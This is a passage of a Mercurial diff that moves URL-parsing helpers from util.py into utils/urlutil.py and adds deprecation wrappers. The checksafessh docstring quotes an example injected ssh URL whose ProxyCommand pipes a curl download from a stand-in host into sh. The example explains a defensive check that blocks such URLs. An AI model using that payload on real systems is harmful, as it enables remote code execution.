     """return pull/push path of repo - either based on parent repo .hgsub info
     or on the top repo config. Abort or return None if no source found."""
     if util.safehasattr(repo, b'_subparent'):
-        source = util.url(repo._subsource)
+        source = urlutil.url(repo._subsource)
         if source.isabs():
             return bytes(source)
         source.path = posixpath.normpath(source.path)
         parent = _abssource(repo._subparent, push, abort=False)
         if parent:
-            parent = util.url(util.pconvert(parent))
+            parent = urlutil.url(util.pconvert(parent))
             parent.path = posixpath.join(parent.path or b'', source.path)
             parent.path = posixpath.normpath(parent.path)
             return bytes(parent)
@@ -435,7 +438,7 @@
             #
             #   D:\>python -c "import os; print os.path.abspath('C:relative')"
             #   C:\some\path\relative
-            if util.hasdriveletter(path):
+            if urlutil.hasdriveletter(path):
                 if len(path) == 2 or path[2:3] not in br'\/':
                     path = os.path.abspath(path)
             return path
diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -559,7 +559,7 @@
                         )
                         p = p.replace(b'%%', b'%')
                     p = util.expandpath(p)
-                    if not util.hasscheme(p) and not os.path.isabs(p):
+                    if not urlutil.hasscheme(p) and not os.path.isabs(p):
                         p = os.path.normpath(os.path.join(root, p))
                     c.alter(b"paths", n, p)
 
diff --git a/mercurial/url.py b/mercurial/url.py
--- a/mercurial/url.py
+++ b/mercurial/url.py
@@ -26,7 +26,10 @@
     urllibcompat,
     util,
 )
-from .utils import stringutil
+from .utils import (
+    stringutil,
+    urlutil,
+)
 
 httplib = util.httplib
 stringio = util.stringio
@@ -75,17 +78,17 @@
                 user, passwd = auth.get(b'username'), auth.get(b'password')
                 self.ui.debug(b"using auth.%s.* for authentication\n" % group)
         if not user or not passwd:
-            u = util.url(pycompat.bytesurl(authuri))
+            u = urlutil.url(pycompat.bytesurl(authuri))
             u.query = None
             if not self.ui.interactive():
                 raise error.Abort(
                     _(b'http authorization required for %s')
-                    % util.hidepassword(bytes(u))
+                    % urlutil.hidepassword(bytes(u))
                 )
 
             self.ui.write(
                 _(b"http authorization required for %s\n")
-                % util.hidepassword(bytes(u))
+                % urlutil.hidepassword(bytes(u))
             )
             self.ui.write(_(b"realm: %s\n") % pycompat.bytesurl(realm))
             if user:
@@ -128,7 +131,7 @@
                 proxyurl.startswith(b'http:') or proxyurl.startswith(b'https:')
             ):
                 proxyurl = b'http://' + proxyurl + b'/'
-            proxy = util.url(proxyurl)
+            proxy = urlutil.url(proxyurl)
             if not proxy.user:
                 proxy.user = ui.config(b"http_proxy", b"user")
                 proxy.passwd = ui.config(b"http_proxy", b"passwd")
@@ -155,7 +158,9 @@
             # expects them to be.
             proxyurl = str(proxy)
             proxies = {'http': proxyurl, 'https': proxyurl}
-            ui.debug(b'proxying through %s\n' % util.hidepassword(bytes(proxy)))
+            ui.debug(
+                b'proxying through %s\n' % urlutil.hidepassword(bytes(proxy))
+            )
         else:
             proxies = {}
 
@@ -219,7 +224,7 @@
         new_tunnel = False
 
     if new_tunnel or tunnel_host == urllibcompat.getfullurl(req):  # has proxy
-        u = util.url(pycompat.bytesurl(tunnel_host))
+        u = urlutil.url(pycompat.bytesurl(tunnel_host))
         if new_tunnel or u.scheme == b'https':  # only use CONNECT for HTTPS
             h.realhostport = b':'.join([u.host, (u.port or b'443')])
             h.headers = req.headers.copy()
@@ -675,7 +680,7 @@
 
 
 def open(ui, url_, data=None, sendaccept=True):
-    u = util.url(url_)
+    u = urlutil.url(url_)
     if u.scheme:
         u.scheme = u.scheme.lower()
         url_, authinfo = u.authinfo()
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -28,7 +28,6 @@
 import platform as pyplatform
 import re as remod
 import shutil
-import socket
 import stat
 import sys
 import time
@@ -57,6 +56,7 @@
     hashutil,
     procutil,
     stringutil,
+    urlutil,
 )
 
 if pycompat.TYPE_CHECKING:
@@ -65,7 +65,6 @@
         List,
         Optional,
         Tuple,
-        Union,
     )
 
 
@@ -2959,420 +2958,52 @@
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 
-def getport(port):
-    # type: (Union[bytes, int]) -> int
-    """Return the port for a given network service.
-
-    If port is an integer, it's returned as is. If it's a string, it's
-    looked up using socket.getservbyname(). If there's no matching
-    service, error.Abort is raised.
-    """
-    try:
-        return int(port)
-    except ValueError:
-        pass
-
-    try:
-        return socket.getservbyname(pycompat.sysstr(port))
-    except socket.error:
-        raise error.Abort(
-            _(b"no port number associated with service '%s'") % port
-        )
-
-
-class url(object):
-    r"""Reliable URL parser.
-
-    This parses URLs and provides attributes for the following
-    components:
-
-    <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
-
-    Missing components are set to None. The only exception is
-    fragment, which is set to '' if present but empty.
-
-    If parsefragment is False, fragment is included in query. If
-    parsequery is False, query is included in path. If both are
-    False, both fragment and query are included in path.
-
-    See http://www.ietf.org/rfc/rfc2396.txt for more information.
-
-    Note that for backward compatibility reasons, bundle URLs do not
-    take host names. That means 'bundle://../' has a path of '../'.
-
-    Examples:
-
-    >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
-    <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
-    >>> url(b'ssh://[::1]:2200//home/joe/repo')
-    <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
-    >>> url(b'file:///home/joe/repo')
-    <url scheme: 'file', path: '/home/joe/repo'>
-    >>> url(b'file:///c:/temp/foo/')
-    <url scheme: 'file', path: 'c:/temp/foo/'>
-    >>> url(b'bundle:foo')
-    <url scheme: 'bundle', path: 'foo'>
-    >>> url(b'bundle://../foo')
-    <url scheme: 'bundle', path: '../foo'>
-    >>> url(br'c:\foo\bar')
-    <url path: 'c:\\foo\\bar'>
-    >>> url(br'\\blah\blah\blah')
-    <url path: '\\\\blah\\blah\\blah'>
-    >>> url(br'\\blah\blah\blah#baz')
-    <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
-    >>> url(br'file:///C:\users\me')
-    <url scheme: 'file', path: 'C:\\users\\me'>
-
-    Authentication credentials:
-
-    >>> url(b'ssh://joe:xyz@x/repo')
-    <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
-    >>> url(b'ssh://joe@x/repo')
-    <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
-
-    Query strings and fragments:
-
-    >>> url(b'http://host/a?b#c')
-    <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
-    >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
-    <url scheme: 'http', host: 'host', path: 'a?b#c'>
-
-    Empty path:
-
-    >>> url(b'')
-    <url path: ''>
-    >>> url(b'#a')
-    <url path: '', fragment: 'a'>
-    >>> url(b'http://host/')
-    <url scheme: 'http', host: 'host', path: ''>
-    >>> url(b'http://host/#a')
-    <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
-
-    Only scheme:
-
-    >>> url(b'http:')
-    <url scheme: 'http'>
-    """
-
-    _safechars = b"!~*'()+"
-    _safepchars = b"/!~*'()+:\\"
-    _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
-
-    def __init__(self, path, parsequery=True, parsefragment=True):
-        # type: (bytes, bool, bool) -> None
-        # We slowly chomp away at path until we have only the path left
-        self.scheme = self.user = self.passwd = self.host = None
-        self.port = self.path = self.query = self.fragment = None
-        self._localpath = True
-        self._hostport = b''
-        self._origpath = path
-
-        if parsefragment and b'#' in path:
-            path, self.fragment = path.split(b'#', 1)
-
-        # special case for Windows drive letters and UNC paths
-        if hasdriveletter(path) or path.startswith(b'\\\\'):
-            self.path = path
-            return
-
-        # For compatibility reasons, we can't handle bundle paths as
-        # normal URLS
-        if path.startswith(b'bundle:'):
-            self.scheme = b'bundle'
-            path = path[7:]
-            if path.startswith(b'//'):
-                path = path[2:]
-            self.path = path
-            return
-
-        if self._matchscheme(path):
-            parts = path.split(b':', 1)
-            if parts[0]:
-                self.scheme, path = parts
-                self._localpath = False
-
-        if not path:
-            path = None
-            if self._localpath:
-                self.path = b''
-                return
-        else:
-            if self._localpath:
-                self.path = path
-                return
-
-            if parsequery and b'?' in path:
-                path, self.query = path.split(b'?', 1)
-                if not path:
-                    path = None
-                if not self.query:
-                    self.query = None
-
-            # // is required to specify a host/authority
-            if path and path.startswith(b'//'):
-                parts = path[2:].split(b'/', 1)
-                if len(parts) > 1:
-                    self.host, path = parts
-                else:
-                    self.host = parts[0]
-                    path = None
-                if not self.host:
-                    self.host = None
-                    # path of file:///d is /d
-                    # path of file:///d:/ is d:/, not /d:/
-                    if path and not hasdriveletter(path):
-                        path = b'/' + path
-
-            if self.host and b'@' in self.host:
-                self.user, self.host = self.host.rsplit(b'@', 1)
-                if b':' in self.user:
-                    self.user, self.passwd = self.user.split(b':', 1)
-                if not self.host:
-                    self.host = None
-
-            # Don't split on colons in IPv6 addresses without ports
-            if (
-                self.host
-                and b':' in self.host
-                and not (
-                    self.host.startswith(b'[') and self.host.endswith(b']')
-                )
-            ):
-                self._hostport = self.host
-                self.host, self.port = self.host.rsplit(b':', 1)
-                if not self.host:
-                    self.host = None
-
-            if (
-                self.host
-                and self.scheme == b'file'
-                and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
-            ):
-                raise error.Abort(
-                    _(b'file:// URLs can only refer to localhost')
-                )
-
-        self.path = path
-
-        # leave the query string escaped
-        for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
-            v = getattr(self, a)
-            if v is not None:
-                setattr(self, a, urlreq.unquote(v))
-
-    def copy(self):
-        u = url(b'temporary useless value')
-        u.path = self.path
-        u.scheme = self.scheme
-        u.user = self.user
-        u.passwd = self.passwd
-        u.host = self.host
-        u.path = self.path
-        u.query = self.query
-        u.fragment = self.fragment
-        u._localpath = self._localpath
-        u._hostport = self._hostport
-        u._origpath = self._origpath
-        return u
-
-    @encoding.strmethod
-    def __repr__(self):
-        attrs = []
-        for a in (
-            b'scheme',
-            b'user',
-            b'passwd',
-            b'host',
-            b'port',
-            b'path',
-            b'query',
-            b'fragment',
-        ):
-            v = getattr(self, a)
-            if v is not None:
-                attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
-        return b'<url %s>' % b', '.join(attrs)
-
-    def __bytes__(self):
-        r"""Join the URL's components back into a URL string.
-
-        Examples:
-
-        >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
-        'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
-        >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
-        'http://user:pw@host:80/?foo=bar&baz=42'
-        >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
-        'http://user:pw@host:80/?foo=bar%3dbaz'
-        >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
-        'ssh://user:pw@[::1]:2200//home/joe#'
-        >>> bytes(url(b'http://localhost:80//'))
-        'http://localhost:80//'
-        >>> bytes(url(b'http://localhost:80/'))
-        'http://localhost:80/'
-        >>> bytes(url(b'http://localhost:80'))
-        'http://localhost:80/'
-        >>> bytes(url(b'bundle:foo'))
-        'bundle:foo'
-        >>> bytes(url(b'bundle://../foo'))
-        'bundle:../foo'
-        >>> bytes(url(b'path'))
-        'path'
-        >>> bytes(url(b'file:///tmp/foo/bar'))
-        'file:///tmp/foo/bar'
-        >>> bytes(url(b'file:///c:/tmp/foo/bar'))
-        'file:///c:/tmp/foo/bar'
-        >>> print(url(br'bundle:foo\bar'))
-        bundle:foo\bar
-        >>> print(url(br'file:///D:\data\hg'))
-        file:///D:\data\hg
-        """
-        if self._localpath:
-            s = self.path
-            if self.scheme == b'bundle':
-                s = b'bundle:' + s
-            if self.fragment:
-                s += b'#' + self.fragment
-            return s
-
-        s = self.scheme + b':'
-        if self.user or self.passwd or self.host:
-            s += b'//'
-        elif self.scheme and (
-            not self.path
-            or self.path.startswith(b'/')
-            or hasdriveletter(self.path)
-        ):
-            s += b'//'
-            if hasdriveletter(self.path):
-                s += b'/'
-        if self.user:
-            s += urlreq.quote(self.user, safe=self._safechars)
-        if self.passwd:
-            s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
-        if self.user or self.passwd:
-            s += b'@'
-        if self.host:
-            if not (self.host.startswith(b'[') and self.host.endswith(b']')):
-                s += urlreq.quote(self.host)
-            else:
-                s += self.host
-        if self.port:
-            s += b':' + urlreq.quote(self.port)
-        if self.host:
-            s += b'/'
-        if self.path:
-            # TODO: similar to the query string, we should not unescape the
-            # path when we store it, the path might contain '%2f' = '/',
-            # which we should *not* escape.
-            s += urlreq.quote(self.path, safe=self._safepchars)
-        if self.query:
-            # we store the query in escaped form.
-            s += b'?' + self.query
-        if self.fragment is not None:
-            s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
-        return s
-
-    __str__ = encoding.strmethod(__bytes__)
-
-    def authinfo(self):
-        user, passwd = self.user, self.passwd
-        try:
-            self.user, self.passwd = None, None
-            s = bytes(self)
-        finally:
-            self.user, self.passwd = user, passwd
-        if not self.user:
-            return (s, None)
-        # authinfo[1] is passed to urllib2 password manager, and its
-        # URIs must not contain credentials. The host is passed in the
-        # URIs list because Python < 2.4.3 uses only that to search for
-        # a password.
-        return (s, (None, (s, self.host), self.user, self.passwd or b''))
-
-    def isabs(self):
-        if self.scheme and self.scheme != b'file':
-            return True  # remote URL
-        if hasdriveletter(self.path):
-            return True  # absolute for our purposes - can't be joined()
-        if self.path.startswith(br'\\'):
-            return True  # Windows UNC path
-        if self.path.startswith(b'/'):
-            return True  # POSIX-style
-        return False
-
-    def localpath(self):
-        # type: () -> bytes
-        if self.scheme == b'file' or self.scheme == b'bundle':
-            path = self.path or b'/'
-            # For Windows, we need to promote hosts containing drive
-            # letters to paths with drive letters.
-            if hasdriveletter(self._hostport):
-                path = self._hostport + b'/' + self.path
-            elif (
-                self.host is not None and self.path and not hasdriveletter(path)
-            ):
-                path = b'/' + path
-            return path
-        return self._origpath
-
-    def islocal(self):
-        '''whether localpath will return something that posixfile can open'''
-        return (
-            not self.scheme
-            or self.scheme == b'file'
-            or self.scheme == b'bundle'
-        )
-
-
-def hasscheme(path):
-    # type: (bytes) -> bool
-    return bool(url(path).scheme)  # cast to help pytype
-
-
-def hasdriveletter(path):
-    # type: (bytes) -> bool
-    return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
-
-
-def urllocalpath(path):
-    # type: (bytes) -> bytes
-    return url(path, parsequery=False, parsefragment=False).localpath()
-
-
-def checksafessh(path):
-    # type: (bytes) -> None
-    """check if a path / url is a potentially unsafe ssh exploit (SEC)
-
-    This is a sanity check for ssh urls. ssh will parse the first item as
-    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
-    Let's prevent these potentially exploited urls entirely and warn the
-    user.
-
-    Raises an error.Abort when the url is unsafe.
-    """
-    path = urlreq.unquote(path)
-    if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
-        raise error.Abort(
-            _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
-        )
-
-
-def hidepassword(u):
-    # type: (bytes) -> bytes
-    '''hide user credential in a url string'''
-    u = url(u)
-    if u.passwd:
-        u.passwd = b'***'
-    return bytes(u)
-
-
-def removeauth(u):
-    # type: (bytes) -> bytes
-    '''remove all authentication information from a url string'''
-    u = url(u)
-    u.user = u.passwd = None
-    return bytes(u)
+def getport(*args, **kwargs):
+    msg = b'getport(...) moved to mercurial.utils.urlutil'
+    nouideprecwarn(msg, b'6.0', stacklevel=2)
+    return urlutil.getport(*args, **kwargs)
+
+
+def url(*args, **kwargs):
+    msg = b'url(...) moved to mercurial.utils.urlutil'
+    nouideprecwarn(msg, b'6.0', stacklevel=2)
+    return urlutil.url(*args, **kwargs)
+
+
+def hasscheme(*args, **kwargs):
+    msg = b'hasscheme(...) moved to mercurial.utils.urlutil'
+    nouideprecwarn(msg, b'6.0', stacklevel=2)
+    return urlutil.hasscheme(*args, **kwargs)
+
+
+def hasdriveletter(*args, **kwargs):
+    msg = b'hasdriveletter(...) moved to mercurial.utils.urlutil'
+    nouideprecwarn(msg, b'6.0', stacklevel=2)
+    return urlutil.hasdriveletter(*args, **kwargs)
+
+
+def urllocalpath(*args, **kwargs):
+    msg = b'urllocalpath(...) moved to mercurial.utils.urlutil'
+    nouideprecwarn(msg, b'6.0', stacklevel=2)
+    return urlutil.urllocalpath(*args, **kwargs)
+
+
+def checksafessh(*args, **kwargs):
+    msg = b'checksafessh(...) moved to mercurial.utils.urlutil'
+    nouideprecwarn(msg, b'6.0', stacklevel=2)
+    return urlutil.checksafessh(*args, **kwargs)
+
+
+def hidepassword(*args, **kwargs):
+    msg = b'hidepassword(...) moved to mercurial.utils.urlutil'
+    nouideprecwarn(msg, b'6.0', stacklevel=2)
+    return urlutil.hidepassword(*args, **kwargs)
+
+
+def removeauth(*args, **kwargs):
+    msg = b'removeauth(...) moved to mercurial.utils.urlutil'
+    nouideprecwarn(msg, b'6.0', stacklevel=2)
+    return urlutil.removeauth(*args, **kwargs)
 
 
 timecount = unitcountfn(
diff --git a/mercurial/utils/urlutil.py b/mercurial/utils/urlutil.py
--- a/mercurial/utils/urlutil.py
+++ b/mercurial/utils/urlutil.py
@@ -5,6 +5,8 @@
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 import os
+import re as remod
+import socket
 
 from ..i18n import _
 from ..pycompat import (
@@ -12,12 +14,437 @@
     setattr,
 )
 from .. import (
+    encoding,
     error,
     pycompat,
-    util,
+    urllibcompat,
 )
 
 
+if pycompat.TYPE_CHECKING:
+    from typing import (
+        Union,
+    )
+
+urlreq = urllibcompat.urlreq
+
+
+def getport(port):
+    # type: (Union[bytes, int]) -> int
+    """Return the port for a given network service.
+
+    If port is an integer, it's returned as is. If it's a string, it's
+    looked up using socket.getservbyname(). If there's no matching
+    service, error.Abort is raised.
+    """
+    try:
+        return int(port)
+    except ValueError:
+        pass
+
+    try:
+        return socket.getservbyname(pycompat.sysstr(port))
+    except socket.error:
+        raise error.Abort(
+            _(b"no port number associated with service '%s'") % port
+        )
+
+
+class url(object):
+    r"""Reliable URL parser.
+
+    This parses URLs and provides attributes for the following
+    components:
+
+    <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
+
+    Missing components are set to None. The only exception is
+    fragment, which is set to '' if present but empty.
+
+    If parsefragment is False, fragment is included in query. If
+    parsequery is False, query is included in path. If both are
+    False, both fragment and query are included in path.
+
+    See http://www.ietf.org/rfc/rfc2396.txt for more information.
+
+    Note that for backward compatibility reasons, bundle URLs do not
+    take host names. That means 'bundle://../' has a path of '../'.
+
+    Examples:
+
+    >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
+    <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
+    >>> url(b'ssh://[::1]:2200//home/joe/repo')
+    <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
+    >>> url(b'file:///home/joe/repo')
+    <url scheme: 'file', path: '/home/joe/repo'>
+    >>> url(b'file:///c:/temp/foo/')
+    <url scheme: 'file', path: 'c:/temp/foo/'>
+    >>> url(b'bundle:foo')
+    <url scheme: 'bundle', path: 'foo'>
+    >>> url(b'bundle://../foo')
+    <url scheme: 'bundle', path: '../foo'>
+    >>> url(br'c:\foo\bar')
+    <url path: 'c:\\foo\\bar'>
+    >>> url(br'\\blah\blah\blah')
+    <url path: '\\\\blah\\blah\\blah'>
+    >>> url(br'\\blah\blah\blah#baz')
+    <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
+    >>> url(br'file:///C:\users\me')
+    <url scheme: 'file', path: 'C:\\users\\me'>
+
+    Authentication credentials:
+
+    >>> url(b'ssh://joe:xyz@x/repo')
+    <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
+    >>> url(b'ssh://joe@x/repo')
+    <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
+
+    Query strings and fragments:
+
+    >>> url(b'http://host/a?b#c')
+    <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
+    >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
+    <url scheme: 'http', host: 'host', path: 'a?b#c'>
+
+    Empty path:
+
+    >>> url(b'')
+    <url path: ''>
+    >>> url(b'#a')
+    <url path: '', fragment: 'a'>
+    >>> url(b'http://host/')
+    <url scheme: 'http', host: 'host', path: ''>
+    >>> url(b'http://host/#a')
+    <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
+
+    Only scheme:
+
+    >>> url(b'http:')
+    <url scheme: 'http'>
+    """
+
+    _safechars = b"!~*'()+"
+    _safepchars = b"/!~*'()+:\\"
+    _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
+
+    def __init__(self, path, parsequery=True, parsefragment=True):
+        # type: (bytes, bool, bool) -> None
+        # We slowly chomp away at path until we have only the path left
+        self.scheme = self.user = self.passwd = self.host = None
+        self.port = self.path = self.query = self.fragment = None
+        self._localpath = True
+        self._hostport = b''
+        self._origpath = path
+
+        if parsefragment and b'#' in path:
+            path, self.fragment = path.split(b'#', 1)
+
+        # special case for Windows drive letters and UNC paths
+        if hasdriveletter(path) or path.startswith(b'\\\\'):
+            self.path = path
+            return
+
+        # For compatibility reasons, we can't handle bundle paths as
+        # normal URLS
+        if path.startswith(b'bundle:'):
+            self.scheme = b'bundle'
+            path = path[7:]
+            if path.startswith(b'//'):
+                path = path[2:]
+            self.path = path
+            return
+
+        if self._matchscheme(path):
+            parts = path.split(b':', 1)
+            if parts[0]:
+                self.scheme, path = parts
+                self._localpath = False
+
+        if not path:
+            path = None
+            if self._localpath:
+                self.path = b''
+                return
+        else:
+            if self._localpath:
+                self.path = path
+                return
+
+            if parsequery and b'?' in path:
+                path, self.query = path.split(b'?', 1)
+                if not path:
+                    path = None
+                if not self.query:
+                    self.query = None
+
+            # // is required to specify a host/authority
+            if path and path.startswith(b'//'):
+                parts = path[2:].split(b'/', 1)
+                if len(parts) > 1:
+                    self.host, path = parts
+                else:
+                    self.host = parts[0]
+                    path = None
+                if not self.host:
+                    self.host = None
+                    # path of file:///d is /d
+                    # path of file:///d:/ is d:/, not /d:/
+                    if path and not hasdriveletter(path):
+                        path = b'/' + path
+
+            if self.host and b'@' in self.host:
+                self.user, self.host = self.host.rsplit(b'@', 1)
+                if b':' in self.user:
+                    self.user, self.passwd = self.user.split(b':', 1)
+                if not self.host:
+                    self.host = None
+
+            # Don't split on colons in IPv6 addresses without ports
+            if (
+                self.host
+                and b':' in self.host
+                and not (
+                    self.host.startswith(b'[') and self.host.endswith(b']')
+                )
+            ):
+                self._hostport = self.host
+                self.host, self.port = self.host.rsplit(b':', 1)
+                if not self.host:
+                    self.host = None
+
+            if (
+                self.host
+                and self.scheme == b'file'
+                and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
+            ):
+                raise error.Abort(
+                    _(b'file:// URLs can only refer to localhost')
+                )
+
+        self.path = path
+
+        # leave the query string escaped
+        for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
+            v = getattr(self, a)
+            if v is not None:
+                setattr(self, a, urlreq.unquote(v))
+
+    def copy(self):
+        u = url(b'temporary useless value')
+        u.path = self.path
+        u.scheme = self.scheme
+        u.user = self.user
+        u.passwd = self.passwd
+        u.host = self.host
+        u.path = self.path
+        u.query = self.query
+        u.fragment = self.fragment
+        u._localpath = self._localpath
+        u._hostport = self._hostport
+        u._origpath = self._origpath
+        return u
+
+    @encoding.strmethod
+    def __repr__(self):
+        attrs = []
+        for a in (
+            b'scheme',
+            b'user',
+            b'passwd',
+            b'host',
+            b'port',
+            b'path',
+            b'query',
+            b'fragment',
+        ):
+            v = getattr(self, a)
+            if v is not None:
+                attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
+        return b'<url %s>' % b', '.join(attrs)
+
+    def __bytes__(self):
+        r"""Join the URL's components back into a URL string.
+
+        Examples:
+
+        >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
+        'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
+        >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
+        'http://user:pw@host:80/?foo=bar&baz=42'
+        >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
+        'http://user:pw@host:80/?foo=bar%3dbaz'
+        >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
+        'ssh://user:pw@[::1]:2200//home/joe#'
+        >>> bytes(url(b'http://localhost:80//'))
+        'http://localhost:80//'
+        >>> bytes(url(b'http://localhost:80/'))
+        'http://localhost:80/'
+        >>> bytes(url(b'http://localhost:80'))
+        'http://localhost:80/'
+        >>> bytes(url(b'bundle:foo'))
+        'bundle:foo'
+        >>> bytes(url(b'bundle://../foo'))
+        'bundle:../foo'
+        >>> bytes(url(b'path'))
+        'path'
+        >>> bytes(url(b'file:///tmp/foo/bar'))
+        'file:///tmp/foo/bar'
+        >>> bytes(url(b'file:///c:/tmp/foo/bar'))
+        'file:///c:/tmp/foo/bar'
+        >>> print(url(br'bundle:foo\bar'))
+        bundle:foo\bar
+        >>> print(url(br'file:///D:\data\hg'))
+        file:///D:\data\hg
+        """
+        if self._localpath:
+            s = self.path
+            if self.scheme == b'bundle':
+                s = b'bundle:' + s
+            if self.fragment:
+                s += b'#' + self.fragment
+            return s
+
+        s = self.scheme + b':'
+        if self.user or self.passwd or self.host:
+            s += b'//'
+        elif self.scheme and (
+            not self.path
+            or self.path.startswith(b'/')
+            or hasdriveletter(self.path)
+        ):
+            s += b'//'
+            if hasdriveletter(self.path):
+                s += b'/'
+        if self.user:
+            s += urlreq.quote(self.user, safe=self._safechars)
+        if self.passwd:
+            s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
+        if self.user or self.passwd:
+            s += b'@'
+        if self.host:
+            if not (self.host.startswith(b'[') and self.host.endswith(b']')):
+                s += urlreq.quote(self.host)
+            else:
+                s += self.host
+        if self.port:
+            s += b':' + urlreq.quote(self.port)
+        if self.host:
+            s += b'/'
+        if self.path:
+            # TODO: similar to the query string, we should not unescape the
+            # path when we store it, the path might contain '%2f' = '/',
+            # which we should *not* escape.
+            s += urlreq.quote(self.path, safe=self._safepchars)
+        if self.query:
+            # we store the query in escaped form.
+            s += b'?' + self.query
+        if self.fragment is not None:
+            s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
+        return s
+
+    __str__ = encoding.strmethod(__bytes__)
+
+    def authinfo(self):
+        user, passwd = self.user, self.passwd
+        try:
+            self.user, self.passwd = None, None
+            s = bytes(self)
+        finally:
+            self.user, self.passwd = user, passwd
+        if not self.user:
+            return (s, None)
+        # authinfo[1] is passed to urllib2 password manager, and its
+        # URIs must not contain credentials. The host is passed in the
+        # URIs list because Python < 2.4.3 uses only that to search for
+        # a password.
+        return (s, (None, (s, self.host), self.user, self.passwd or b''))
+
+    def isabs(self):
+        if self.scheme and self.scheme != b'file':
+            return True  # remote URL
+        if hasdriveletter(self.path):
+            return True  # absolute for our purposes - can't be joined()
+        if self.path.startswith(br'\\'):
+            return True  # Windows UNC path
+        if self.path.startswith(b'/'):
+            return True  # POSIX-style
+        return False
+
+    def localpath(self):
+        # type: () -> bytes
+        if self.scheme == b'file' or self.scheme == b'bundle':
+            path = self.path or b'/'
+            # For Windows, we need to promote hosts containing drive
+            # letters to paths with drive letters.
+            if hasdriveletter(self._hostport):
+                path = self._hostport + b'/' + self.path
+            elif (
+                self.host is not None and self.path and not hasdriveletter(path)
+            ):
+                path = b'/' + path
+            return path
+        return self._origpath
+
+    def islocal(self):
+        '''whether localpath will return something that posixfile can open'''
+        return (
+            not self.scheme
+            or self.scheme == b'file'
+            or self.scheme == b'bundle'
+        )
+
+
+def hasscheme(path):
+    # type: (bytes) -> bool
+    return bool(url(path).scheme)  # cast to help pytype
+
+
+def hasdriveletter(path):
+    # type: (bytes) -> bool
+    return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
+
+
+def urllocalpath(path):
+    # type: (bytes) -> bytes
+    return url(path, parsequery=False, parsefragment=False).localpath()
+
+
+def checksafessh(path):
+    # type: (bytes) -> None
+    """check if a path / url is a potentially unsafe ssh exploit (SEC)
+
+    This is a sanity check for ssh urls. ssh will parse the first item as
+    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
+    Let's prevent these potentially exploited urls entirely and warn the
+    user.
+
+    Raises an error.Abort when the url is unsafe.
+    """
+    path = urlreq.unquote(path)
+    if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
+        raise error.Abort(
+            _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
+        )
+
+
+def hidepassword(u):
+    # type: (bytes) -> bytes
+    '''hide user credential in a url string'''
+    u = url(u)
+    if u.passwd:
+        u.passwd = b'***'
+    return bytes(u)
+
+
+def removeauth(u):
+    # type: (bytes) -> bytes
+    '''remove all authentication information from a url string'''
+    u = url(u)
+    u.user = u.passwd = None
+    return bytes(u)
+
+
 class paths(dict):
     """Represents a collection of paths and their configs.
 
@@ -103,7 +530,7 @@
 
 @pathsuboption(b'pushurl', b'pushloc')
 def pushurlpathoption(ui, path, value):
-    u = util.url(value)
+    u = url(value)
     # Actually require a URL.
     if not u.scheme:
         ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
@@ -148,7 +575,7 @@
             raise ValueError(b'rawloc must be defined')
 
         # Locations may define branches via syntax <base>#<branch>.
-        u = util.url(rawloc)
+        u = url(rawloc)
         branch = None
         if u.fragment:
             branch = u.fragment
